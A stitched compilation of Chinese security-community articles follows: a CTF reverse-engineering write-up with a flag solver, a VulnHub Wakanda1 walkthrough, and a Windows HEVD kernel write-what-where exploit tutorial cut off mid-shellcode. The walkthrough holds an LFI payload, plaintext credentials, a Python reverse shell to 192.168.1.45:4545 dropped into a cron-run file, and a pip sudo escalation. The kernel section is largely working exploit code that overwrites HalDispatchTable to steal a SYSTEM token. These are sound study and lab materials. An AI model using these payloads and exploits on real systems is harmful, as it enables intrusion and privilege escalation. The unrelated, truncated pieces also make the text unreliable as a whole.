(*(void (__thiscall **)(_DWORD *))(*this + 0x18))(this);
if ( (*(int (__thiscall **)(_DWORD *))(*this + 0x28))(this) )
result = 1;
}
return result;
}
根据虚表简化得到：
BOOL __thiscall sub_4024B0(_DWORD *this, int flag)
{
BOOL result; // eax
this[2] = flag;
result = 0;
if ( sub_402500(flag) )
{
sub_4026E0();
if ( sub_402A00() )
result = 1;
}
return result;
}
### sub_402500
将字符串`Ncg`复制到`v8`然后将`v8`的值逐个异或`0x10`:
int __thiscall sub_402500(const char **this)
{
int v2; // [esp+Ch] [ebp-B0h]
unsigned int v3; // [esp+14h] [ebp-A8h]
int i; // [esp+24h] [ebp-98h]
char v6[56]; // [esp+30h] [ebp-8Ch] BYREF
char v7[20]; // [esp+68h] [ebp-54h] BYREF
char v8[48]; // [esp+7Ch] [ebp-40h] BYREF
int v9; // [esp+B8h] [ebp-4h]
v3 = (unsigned int)&this[2][strlen(this[2])];
strcpy(v8, "Ncg`esdvLkLgk$mL=Lgk$mL=Lgk$mL=Lgk$mL=Lgk$mLm");
sub_4026C0(v6, 0x38u);
sub_402B00();
v9 = 0;
for ( i = 0; i < 45; ++i )
v8[i] ^= 0x10u;
sub_4026C0(v7, 0x14u);
sub_402A70(v8, 1);
LOBYTE(v9) = 1;
v2 = (unsigned __int8)sub_404260(this[2], v3, v6, v7, 0);
LOBYTE(v9) = 0;
sub_402A50(v7);
v9 = -1;
sub_4026A0();
return v2;
}
得到一个正则表达式：`^swpuctf\\{\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\}`为flag的格式
s = "Ncg`esdvLkLgk$mL=Lgk$mL=Lgk$mL=Lgk$mL=Lgk$mLm"
s2 = []
for i in range(0, len(s)):
s2.append(chr(ord(s[i]) ^ 0x10))
print(''.join(i for i in s2))
# ^swpuctf\\{\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\-\\w{4}\\}
那么可以得到第一个函数就是校验flag的格式，dbg中输入：`swpuctf{1234-5678-9012-3456-7890}`，此时跳转已经不实现：
### sub_402A00
先看到最后一个函数，需要让if成立，使得result=1，才能最终输出Congratulations
if ( sub_402A00() )
result = 1;
int __thiscall sub_402A00(unsigned __int8 *this)
{
int i; // [esp+4h] [ebp-4h]
for ( i = 0; i < 40; ++i )
{
if ( this[i + 52] != this[i + 12] )
return 0;
}
return 1;
}
`this[52]`在`sub_401FE0`中进行了赋值，需要注意i从0开始经过40次循环，回到sub_401FE0的初始化，发现还存在一个字符串：`03\"3
0 203\" $`，说明还存在一个需要比较的结果：
*((_BYTE *)this + 52) = 8;
*((_BYTE *)this + 53) = 0xEA;
*((_BYTE *)this + 54) = 0x58;
*((_BYTE *)this + 55) = 0xDE;
*((_BYTE *)this + 56) = 0x94;
*((_BYTE *)this + 57) = 0xD0;
*((_BYTE *)this + 58) = 0x3B;
*((_BYTE *)this + 59) = 0xBE;
*((_BYTE *)this + 60) = 0x88;
*((_BYTE *)this + 61) = 0xD4;
*((_BYTE *)this + 62) = 0x32;
*((_BYTE *)this + 63) = 0xB6;
*((_BYTE *)this + 64) = 0x14;
*((_BYTE *)this + 65) = 0x82;
*((_BYTE *)this + 66) = 0xB7;
*((_BYTE *)this + 67) = 0xAF;
*((_BYTE *)this + 68) = 0x14;
*((_BYTE *)this + 69) = 0x54;
*((_BYTE *)this + 70) = 0x7F;
*((_BYTE *)this + 71) = 0xCF;
qmemcpy(this + 18, " 03\"3 0 203\" $ ", 20);
### sub_4026E0
来到关键的处理函数：
int __thiscall sub_4026E0(void *this)
{
int i; // [esp+4h] [ebp-4h]
for ( i = 0; i < 5; ++i )
(*(void (__thiscall **)(void *, int))(*(_DWORD *)this + 0x1C))(this, i); //
return (*(int (__thiscall **)(void *))(*(_DWORD *)this + 0x24))(this); //
}
同样查表：
this+0x1c -> sub_402730
this+0x24 -> sub_4028A0
int __thiscall sub_402730(_DWORD *this, int a2)
{
int v2; // esi
int v3; // ecx
unsigned __int8 v4; // al
char v6; // cf
char v7; // bl
char v8; // t2
int v10; // [esp+Ch] [ebp-30h]
int i; // [esp+14h] [ebp-28h]
int j; // [esp+1Ch] [ebp-20h]
int v13; // [esp+20h] [ebp-1Ch] BYREF
int v14; // [esp+24h] [ebp-18h]
int v15; // [esp+28h] [ebp-14h]
int v16; // [esp+2Ch] [ebp-10h]
int v17; // [esp+30h] [ebp-Ch]
int v18; // [esp+34h] [ebp-8h]
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
v18 = 0;
v10 = this[2] + 5 * a2 + 8; // 根据传入的a2取flag的各个部分
for ( i = 0; i < 4; ++i )
*((_BYTE *)&v13 + i) = *(_BYTE *)(i + v10); // 复制内存
v2 = 0;
v3 = 4;
do
{
v4 = *((_BYTE *)&v13 + v2);
_DL = v4;
__asm { rcl dl, 1 }
*((_BYTE *)&v15 + v2) = 1;
v7 = 0;
v6 = 0;
do
{
v8 = v6 << 7;
v6 = v4 & 1; // 影响循环次数
v4 = (v4 >> 1) | v8;
++v7;
}
while ( v6 );
*((_BYTE *)&v16 + v2++) = v7 - 1;
--v3;
}
while ( v3 );
for ( j = 0; j < 4; ++j )
{
*((_BYTE *)&v14 + j) = *((_BYTE *)&v16 + j) + *((_BYTE *)&v15 + j);
*((_BYTE *)&v17 + j) = *((char *)&v13 + j) << *((_BYTE *)&v15 + j);
*((_BYTE *)&v18 + j) = (*((char *)&v13 + j) << (8 - *((_BYTE *)&v16 + j))) | ((unsigned __int8)(*((char *)&v13 + j) >> (8 - *((_BYTE *)&v15 + j))) << *((_BYTE *)&v15 + j));
}
return sub_402F80(&v13);
}
`v10 = this[2] + 5 * a2 +
8;`，`a2`作为下标，通过`-`分割开取值，此时外层循环中i为`0`，所以传入的`a2`也是`0`，在x64dbg中存储为`ecx`，所以此时`v10`指向的就是`flag`的第一部分`1234`：
`do-while`循环中是针对单字符进行处理的，`v2`作为索引，每次取一个字符放到`v4`中，`v3`作为循环次数，每循环一次减一：
这里只写了`rcl dl,1`
v2 = 0;
v3 = 4;
do
{
v4 = *((_BYTE *)&v13 + v2); // 取单个字符
_DL = v4;
__asm { rcl dl, 1 } // 循环左移
*((_BYTE *)&v15 + v2) = 1;
v7 = 0;
v6 = 0;
do
{
v8 = v6 << 7;
v6 = v4 & 1; // 影响循环次数
v4 = (v4 >> 1) | v8;
++v7;
}
while ( v6 );
*((_BYTE *)&v16 + v2++) = v7 - 1;
--v3;
}
while ( v3 );
x64dbg调试发现`rcl`下面存在一个`jb`指令，这个指令受`CF`位的影响，当`CF`为1时跳转指令成立，这里跟`dl`的值有关，当`dl`产生进位时`CF`置`1`，跳转成立，出循环：
经测试可以发现当`0x31`左移`3`次时产生进位，所以此时`ebx`值为3，那么`ebx`中记录的就是左移的位数：
同理，往下对`0x31`进行右移，当产生进位时`CF`置`1`，跳出循环，`ebx`记录右移次数减一的值：
这一部分在IDA反编译的不太一样，按照动态调试中体现的汇编更容易理解：
4次循环之后得到，分别对应`0x31 0x32 0x33
0x34`，左边的为左移到进位的次数；右边为右移次数减一，这么理解比较奇怪，我觉得可以理解为从右边0的个数：
如：`0x31`，二进制为 `0011 0001`，所以此时右边0的个数为0
`0x32`，二进制为 `0011 0010`，所以此时右边0的个数为1
`0x34`，二进制为 `0011 0100`，所以此时右边0的个数为2
第二个循环：
for ( j = 0; j < 4; ++j )
{
*((_BYTE *)&v14 + j) = *((_BYTE *)&v16 + j) + *((_BYTE *)&v15 + j);
*((_BYTE *)&v17 + j) = *((char *)&v13 + j) << *((_BYTE *)&v15 + j);
*((_BYTE *)&v18 + j) = (*((char *)&v13 + j) << (8 - *((_BYTE *)&v16 + j))) | ((unsigned __int8)(*((char *)&v13 + j) >> (8 - *((_BYTE *)&v15 + j))) << *((_BYTE *)&v15 + j));
}
根据第一个循环简化，最终生成三个值，处理每个字符的结果是独立进行计算的，跟位置和前后字符无关，互不影响：
for ( j = 0; j < 4; ++j )
{
res1 = 右边0的个数 + 左移进位次数;
res2 = flag << 左移进位次数;
res3 = (flag << (8 - 0的个数)) | ((flag >> (8 - 左移次数)) << 左移次数);
}
这里IDA反编译的res2应该是少了一个移位运算，第一步移位之后，将低8位存入内存中，然后再取res1，作为右移的位数：
右移之后的结果才是res2：
所以这里应该是：
for ( j = 0; j < 4; ++j )
{
res1 = 右边0的个数 + 左移进位次数;
res2 = (flag << 左移进位次数) & 0xff >> res1;
res3 = (flag << (8 - 0的个数)) | ((flag >> (8 - 左移次数)) << 左移次数);
}
运行之后得到:
往下走到最后一个处理的函数`sub_4028A0`，存在while循环，这里while循环的条件为`sub_402E00`传入v2之后的结果，大致理解为flag的结束，说明while循环针对flag进行遍历的，每个while循环对单个字符进行处理，跟之前的处理一样，不受位置和前后字符值的影响：
result = sub_402E00(v2);
if ( !(_BYTE)result )
break;
在`while`中存在一个`for`循环，该循环分为上下两部分，前四次循环会对`v15`和`v15+i+20`进行运算处理，后四次循环只对`v15`进行处理,这里`sub_402DC0`指向处理后的字符以及`sub_402730`处理后的结果：
for ( i = 0; i < 8; ++i )
{
if ( i >= 4 )
{
v9 = sub_402DC0(v17 + 26);
v14 -= *(unsigned __int8 *)(v9 + i);
v10 = sub_402DC0(v17 + 26);
*v15 |= *(unsigned __int8 *)(v10 + i + 16) << v14;
}
else
{
v4 = sub_402DC0(v17 + 26);
v13 = 8 - *(unsigned __int8 *)(v4 + i + 4);
v14 -= v13;
v5 = sub_402DC0(v17 + 26);
*v15 |= *(unsigned __int8 *)(v5 + i + 16) << v14;
v6 = sub_402DC0(v17 + 26);
v7 = 16 * *(_BYTE *)(v6 + i + 8);
v8 = sub_402DC0(v17 + 26);
*((_BYTE *)v15 + i + 20) = *(_BYTE *)(v8 + i + 12) | v7;
}
}
执行`sub_402DC0`后返回`0xDC41D8`:
根据0xDC41D8指向的内存，可以简化该循环：
if {
v9 = sub_402DC0(v17 + 26);
v14 -= *(unsigned __int8 *)(v9 + i); // v14的初始值为0x20
*v15 |= res3 << v14;
}
else {
v14 -= 8 - res1;
*v15 |= res3 << v14;
*((_BYTE *)v15 + i + 20) = 0的个数 | (16 * 左移进位位数);
}
可以发现`v15 + i +
20`是直接赋值，而这里i注意是跟循环有关，那么每个`for`循环会生成`4`个值，而`v15`注意到是`DWORD`指针，每个for循环也是生成一个`DWORD`类型的数据，可以判断出`while`循环应该是进行`5`次，每次对一部分flag进行处理，最终会得到一个长度为`40`的结果，调用`sub_402A00`进行比较
第一个循环解决之后得到两个值，顺带发现了最终对比的数据就是前面初始化值的数据
第一个循环exam：
0x11 << (0x20 - (8 - res1)) = 0x88000000 // 小端存储
0 | (16 * 0x03) = 0x30
第二次循环结束，发现第一部分是会受其他循环影响的，而第二部分是不受其他循环影响的，因为第一部分的值是通过或运算得到的，而第二部分的值是各个字符单独运算
当`i>=4`时，是直接取`res1`：
和`res3`进行运算：
*v15 |= res3 << (v14 - res1)
最终的比较：
分析到这里，整个程序流程基本上就都了解了：
1. 校验`flag`格式
2. 通过`-`分割`flag`成`5`部分，对`flag`进行位移运算，对flag的每个字符都得到`5`个结果，将其存储到内存中
3. 进行5次循环，每次循环处理4个字符，利用每个字符得到的5个结果继续进行移位和或运算，最终会生成两个结果，一个结果受字符影响，而另外一个结果是每个字符独立存在，不受其他字符的影响
4. 将得到的结果与`sub_401FE0`中初始化中的两个字符串进行对比
### exp
第一部分check_1左移进位位数，check_0计算右边0的个数，然后generate计算sub_402730后面的结果，并将三个结果作为list返回：
def check_1(c):
num = 0
while True:
c = c << 1
num += 1
if c & 0x100:
return num
def check_0(c): # 右边0的个数
num = 0
while True:
if c & 1:
return num
num += 1
c = c >> 1
def generate_0(c):
res1 = check_0(c) + check_1(c)
res2 = ((c << check_1(c)) & 0xff) >> res1
res3 = ((c >> (8 - check_1(c))) << check_1(c)) | ((c << (8 - check_0(c)) & 0xff) >> res1)
return [res1, res2, res3]
第二部分就是通过`03\"3 0 203\"
$`进行字符串排除，这里可以判断flag的范围应该是`A-Za-z0-9`，通过前面的分析知道每个字符运算的结果互相独立，但是这里可能存在重复的情况，所以先用`set`去重，然后对`set`中每个元素作为`key`，创建一个字典，如果`check`的结果为`key`则加入该`key`的`value`中，最后返回结果：
def check_part(c):
tmp = list(set(' 03\"3 0 203\" $ '))
tmp2 = check_0(c) | (16 * check_1(c))
for i in tmp:
if tmp2 == ord(i):
return i
return ''
def classify():
for_each = string.ascii_lowercase + string.ascii_uppercase + string.digits
second_part_res = ' 03\"3 0 203\" $ '
res = {}
d = dict.fromkeys(list(set(second_part_res)))
# print(d)
for i in list(set(second_part_res)):
d[i] = []
for i in for_each:
tmp = check_part(ord(i))
if tmp:
d[tmp].append(i)
return d
第三部分，`test_1`作为for循环中前四部分的计算，这里需要注意`v14`要代入并返回，经过`8`次运算后，将结果或运算成一个`DWORD`值，与`first_part`对应的`DWORD`进行对比，如果相等则返回此时循环的`4`个字符，这里是可以得到唯一值的，最终拼接得到flag：
def test_1(c, v14):
exam = {c: generate_0(ord(c))}
v14 = v14 - (8 - exam[c][0])
tmp = exam[c][1] << v14
return tmp, v14
def test_2(c, v14):
exam = {c: generate_0(ord(c))}
v14 = v14 - exam[c][0]
tmp = exam[c][2] << v14
return tmp, v14
def check_first_part(second_part, first_part):
for i in d[second_part[0]]:
for j in d[second_part[1]]:
for k in d[second_part[2]]:
for m in d[second_part[3]]:
v14 = 0x20
tmp, v14 = test_1(i, v14)
tmp2, v14 = test_1(j, v14)
tmp3, v14 = test_1(k, v14)
tmp4, v14 = test_1(m, v14)
tmp5, v14 = test_2(i, v14)
tmp6, v14 = test_2(j, v14)
tmp7, v14 = test_2(k, v14)
tmp8, v14 = test_2(m, v14)
tmp = tmp | tmp2 | tmp3 | tmp4 | tmp5 | tmp6 | tmp7 | tmp8
if tmp == first_part:
return i + j + k + m
d = classify()
s2 = ' 03\"3 0 203\" $ '
s = ['08', 'EA', '58', 'DE', '94', 'D0', '3B', 'BE', '88', 'D4', '32', 'B6', '14', '82', 'B7', 'AF', '14', '54', '7F', 'CF']
flag = 'swpuctf{'
for i in range(0, 5):
first_part = int(s[3 + 4 * i]+s[2 + 4 * i]+s[1 + 4 * i]+s[4 * i], 16)
second_part = s2[i*4:i*4+4]
res = check_first_part(second_part, first_part)
if i == 4:
flag += res
break
flag += res + '-'
flag += '}'
flag：
swpuctf{we18-l8co-m1e4-58to-swpu}
提交BUUCTF验证： | 社区文章 |
原文：[https://resources.infosecinstitute.com/wakanda1-ctf-walkthrough/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+infosecResources+%28InfoSec+Resources%29](https://resources.infosecinstitute.com/wakanda1-ctf-walkthrough/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+infosecResources+%28InfoSec+Resources%29)
在本文中，我们将为读者详细介绍如何完成xMagass在VulnHub上发表的一个CTF挑战。根据该挑战作者的介绍，这是一个中级难度的CTF挑战。该CTF挑战的目标是获取机器的root访问权限并读取旗标文件。在完成该挑战过程中，需要拿下3个旗标。
您可以从[这里](https://download.vulnhub.com/wakanda/wakanda-1.ova
"这里")下载相关的VM，然后在Virtual Box上启动它。此外，该VM也可以通过torrent进行下载，相应的URL见本末的参考部分。
对于安全研究人员来说，VulnHub可是一个非常有名的网站。它为用户提供了一种安全且合法的环境，在这个环境中，可以通过一系列挑战来学习和砥砺自己的黑客技能。
请注意：对于本文涉及的所有机器，都是在Oracle的Virtual Box环境下运行的。其中，我们使用Kali
Linux作为迎接该CTF挑战的攻击方机器。需要说明的是，文中所述的技术仅限于教育目的，如果读者将其用于其他方面，责任自负。
**闯关**
* * *
在Virtual
Box中下载并运行相关的虚拟机后，我们需要找到目标机器的IP地址。为此，首先运行Netdiscover命令，来获取目标计算机的IP地址。下图给出了该命令的输出结果：
使用的命令：Netdiscover
如上图中高亮显示的区域所示，我们得到的虚拟机的IP地址为192.168.1.11（即目标机器的IP地址）。
我们将使用地址192.168.1.45来作为攻击方的IP地址。
请注意：攻击目标和攻击方计算机的IP地址可能是不同的，具体取决于相关的网络配置。
现在，我们已经知道了目标机器的IP地址，接下来首先要找出目标机器上可用的端口和服务。为此，可以借助于Nmap进行全端口扫描，具体如下图所示：
使用的命令：nmap -p- 192.168.1.11 -sV
扫描完成后，我们发现目标机器上有四个开放的端口。那么，让我们先从HTTP端口开始下手。利用浏览器访问目标机器的IP，这时将会看到一个网站，具体如下图所示。
从上面的屏幕截图中可以看出，该网站运行在一个HTTP服务器上，主页内容为“coming
soon”。然后，我对该HTML页面代码逐条进行手动分析，并通过Dirb进行扫描，以枚举应用程序中的其他入口点，具体如下图所示。
使用的命令：dirb <http://192.168.1.11/>
Dirb程序找到了一些目录，但响应的大小为0字节，这意味着返回200响应代码的页面是一个空白页面。
在手动分析HTML内容的过程中，我们在注释中找到了一个参数，具体如下图所示。
正如在上面屏幕截图的突出显示区域中可以看到的那样，注释中存在“lang”参数，并且研究发现，该参数含有本地文件包含（LFI）漏洞。于是，我利用该漏洞下载了索引文件的内容，具体如下图所示。
使用的有效载荷：lang=php://filter/convert.base64-encode/resource=index
如您所见，我们的有效载荷已在目标计算机上成功运行了，并且在响应中收到了base64编码的数据。接下来，让我们进行解码，以便查看index.php文件的实际源代码。为此，我们可以使用Burp
Decoder：
对索引文件进行解码后，我们在源代码中找到了一个密码，具体见截图中的高亮部分。相应的密码如下所示。
密码：Niamey4Ever227!!!
现在，我们已经找到了密码，并且通过端口扫描还发现目标机器上还运行着SSH服务。不过，我们还不知道用户名。于是，我尝试使用一些默认用户名的密码进行爆破，可惜没有成功。
花了一些时间后，我在索引页面的HTML内容中发现了一个用户名，具体如下图所示。
在突出显示的区域中，我们可以看到“Made by”，这意味着我们可能找到了SSH的有效用户名，具体如下所示。
用户名：mamadou
由于我们已经在源代码中找到了密码，并且SSH服务也在目标计算机上运行，因此，我们可以尝试使用以下凭据来登录系统：
Username: mamadou
Password: Niamey4Ever227!!!
使用的命令：ssh mamadou@192.168.1.11 -p 3333
从上面的屏幕截图中可以看出，这里使用的凭证是有效的，因为我们成功登录了目标系统。但是，我们还没有得到命令shell，因为这里是一个Python
shell。接下来，我们要做的事情，就是使用自己喜欢的Python命令来获取访问bash shell的权限了，具体如下图所示。
使用的命令：import pty; pty.spawn(“/bin/bash”)
好了，我们终于获得了对目标机器的命令行shell的访问权限了。之后，我运行了ls命令，显示的文件为flag1.txt文件。至此，我们就拿到了第一个旗标，具体如下图所示。
第一个旗标到手了！ 现在，让我们来看看内核和Linux操作系统的版本号。
使用的命令：
uname -a
cat /etc/issue
如您所见，我们检索了内核版本和操作系统版本方面的信息。接下来，我们就可以通过互联网来检查这些版本是否存在可用的本地漏洞了。
事实证明，虽然Google的搜索结果表明有很多漏洞可用，但它们都不适用于这台机器。于是，我开始试图寻找其他途径。我仔细分析了/etc/passwd文件，发现目标系统上还有另外一个用户，即“DevOps”。
用户“DevOps”在目标计算机上具有bash访问权限。因此，我们不妨检查DevOps用户所有的文件，看看能否获取弱文件权限漏洞。
使用的命令：find / -user devops 2>/dev/null
通过上述命令，我们找到了部分文件，其中一个让人感兴趣的文件是“.antivirus.py”，该文件对所有用户都具有写入权限。所以，我们不妨看看这个文件的内容。
不难看出，这段代码将打开位于“tmp”目录中的test文件而编写，并向该文件中写入“test”。所以，对tmp文件夹中的test文件进行了一番了解。因为该文件的所有者是DevOps，所以它运行时将拥有DevOps用户的权限。如果我们能够编写一个Python反向连接程序并将其替换为“.antivirus.py”，那么我们将获得另一个DevOps用户shell。好了，我们下手吧。
我在本地计算机上创建了一个Python程序，并使用wget程序将其传输到目标计算机的“tmp”文件夹中。该python程序可以在下面的截图中看到。
#! /usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.1.45”,4545));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);
使用的命令：
wget 192.168.1.45/pythonshell.py
cp pythonshell.py /srv/.antivirus.py
之后，我们在端口4545上启动侦听器以接收反向shell，并等待Cron运行。等了一段时间后，我们在目标机器上收到了一个反向shell，具体如下图所示。
使用的命令：
nc –lvp 4545
我们搞到了一个反向shell。之后，我们可以运行“id”命令来检查用户的情况，从而确认我们可以作为“DevOps”用户来访问目标计算机。现在，让我们运行Python命令来获取稳定的shell访问权限，具体如下图所示。
使用的命令：
python -c ‘import pty;pty.spawn(“/bin/bash”)’ （用来获取稳定的shell）
cd /home/devops （用于将当前目录改为DevOps）
ls （用于列出文件）
cat flag2.txt （用于读取flag2.txt文件）
如上图所示，我们获得了DevOps用户的权限，并在DevOps主目录中找到了另一个旗标。
因此，现在只要找到最后一个旗标就挑战成功了。由于DevOps用户也不是root用户，因此，我们还需要获取该计算机的root访问权限才能完成本次挑战。我们认为，只要获得root访问权限时，我们就能找到root旗标。
作为DevOps用户，当面运行sudo命令的时候，会返回一个错误消息，具体如下图所示。
使用的命令： sudo -l
运行sudo -l命令后，我们发现/user/bin/pip可以作为root用户运行，且无需任何密码。
所以，我们搜索了pip服务方面的漏洞利用代码，并通过wget程序将其下载到了目标机器上。在此之后，还必须在目标机器上执行漏洞利用代码，这方面的信息，请参考该pip漏洞利用代码页面的介绍，具体URL见本文末尾的参考资料部分。
使用的命令：
wget 192.168.1.45/bbbb/setup.py（用于从本地计算机下载漏洞利用代码）
sudo /usr/bin/pip install . –upgrade –force-reinstall（用于运行漏洞利用代码）
如您所见，我们首先在端口443上启动了Netcat侦听器，然后运行了漏洞利用代码，从而获得了目标机器的root shell，具体如下图所示。
到目前为止，我们终于在目标机器上拥有了root权限！现在，我们要读取第3个旗标，以完成挑战。实际上，第3个旗标很容易从根目录中找到，具体如下图所示。
我们找到了最后的一个旗标！对于这个CTF挑战来说，我们已经顺利通关了。
感谢各位耐心读完本文！
**参考资料**
* * *
[FakePip](https://github.com/0x00-0x00/FakePip "FakePip"), GitHub
[Wakanda1](https://download.vulnhub.com/wakanda/wakanda-1.ova "Wakanda1"),
VulnHub
[Wakanda 1
(torrent)](https://download.vulnhub.com/wakanda/wakanda-1.ova.torrent "Wakanda
1 \(torrent\)"), VulnHub
[Spool Privilege Escalation](https://www.exploit-db.com/exploits/40054/ "Spool
Privilege Escalation"), Exploit Database | 社区文章 |
# 从TH2到RS3看WWW漏洞的攻与防
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0:注意点&&环境
~多图预警~
### 环境
我使用的环境
物理机OS:windows 10
虚拟机OS:win7_x86&&win10_x64_1511( TH2 )&&win10_x64_1607( RS1 )&&win10_x64_1703(
RS2 )&&win10_x64_1709( RS3 )
VMware:VMware Workstation 15 Pro
编译器:vs2019
驱动: HEVD 1.2
驱动加载工具:VirtualKD-Redux-2021.2
调试器:Microsoft Store上直接下的windbg preview版
### 要注意的地方&&一些知识点
要注意的地方就一点,就是把虚拟机的网络给ban掉,不然它会把你的exploit给删掉,还会出现很奇怪的错误,不利于学习.
## 0x01:漏洞点
漏洞点其实很简单,就是指针滥用.上图~~~
然后效果的话,大概是这样
## 0x02:win7_x86下的WWW(Write-What-Where)
其实这个相当于番外,不影响后面的观看体验.
这里我们依旧采取的是替换Token的方式.如果你不知道怎么替换Token,推荐阅读我的上一篇文章[HEVD驱动栈溢出&&WIN10 SMEP
绕过](https://www.anquanke.com/post/id/252947)
我们有WWW漏洞了,那么我们该怎么替换Token呢?
其实我们这里用到了 NtQueryIntervalProfile 函数和 HalQuerySystemInformation 函数.上图
不过我这里是直接将 HalDispatchTable+0x4 地址改成
shellcode的地址.(emmm不知道这么回事我这里没法看NtQueryIntervalProfile 函数和
HalQuerySystemInformation 函数的反汇编).大概是这么一行关键代码
call dword ptr [nt!HalDispatchTable+0x4 (83f2c3fc)]
exp也挺简单的,找到 HalDispatchTable+0x4 的地址后用漏洞改成shellcode的地址就可以了.代码:
#include<Windows.h>
#include<stdio.h>
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_NEITHER, FILE_ANY_ACCESS)
#define IO_COMPLETION_OBJECT 1
#define STATUS_SUCCESS 0x00000000
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(WINAPI* NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
#define p printf;
NtQuerySystemInformation_t NtQuerySystemInformation;
PVOID GetHalDispatchTable() {
PVOID HalDispatchTable = 0;
SIZE_T ReturnLength;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
if (!hNtDll) {
printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
}
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);
if (!pSystemModuleInformation) {
printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
ReturnLength,
&ReturnLength);
if (NtStatus != STATUS_SUCCESS) {
printf("\t\t\t[-] Failed To Get SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
PVOID KernelBaseAddressInKernelMode = pSystemModuleInformation->Module[0].Base;
PCHAR KernelImage = strrchr((PCHAR)(pSystemModuleInformation->Module[0].ImageName), '\\') + 1;
printf("\t\t\t[+] Loaded Kernel: %s\n", KernelImage);
printf("\t\t\t[+] Kernel Base Address: 0x%p\n", KernelBaseAddressInKernelMode);
HMODULE hKernelInUserMode = LoadLibraryA(KernelImage);
if (!hKernelInUserMode) {
p("\t\t\t[-] Failed To Load Kernel: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
HalDispatchTable = (PVOID)GetProcAddress(hKernelInUserMode, "HalDispatchTable");
if (!HalDispatchTable) {
p("\t\t\t[-] Failed Resolving HalDispatchTable: 0x%X\n", GetLastError());
}
else {
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)hKernelInUserMode);
HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)KernelBaseAddressInKernelMode);
("\t\t\t[+] HalDispatchTable: 0x%p\n", HalDispatchTable);
};
HeapFree(GetProcessHeap(), 0, (LPVOID)pSystemModuleInformation);
if (hNtDll) {
FreeLibrary(hNtDll);
}
if (hKernelInUserMode) {
FreeLibrary(hKernelInUserMode);
}
hNtDll = NULL;
hKernelInUserMode = NULL;
pSystemModuleInformation = NULL;
return HalDispatchTable;
}
typedef struct _WRITE_WHAT_WHERE {
PULONG What;
PULONG Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
VOID TokenStealingPayloadWin7Generic() {
// No Need of Kernel Recovery as we are not corrupting anything
__asm {
pushad; Save registers state
; Start of Token Stealing Stub
xor eax, eax; Set ZERO
mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD is located at FS : [0x124]
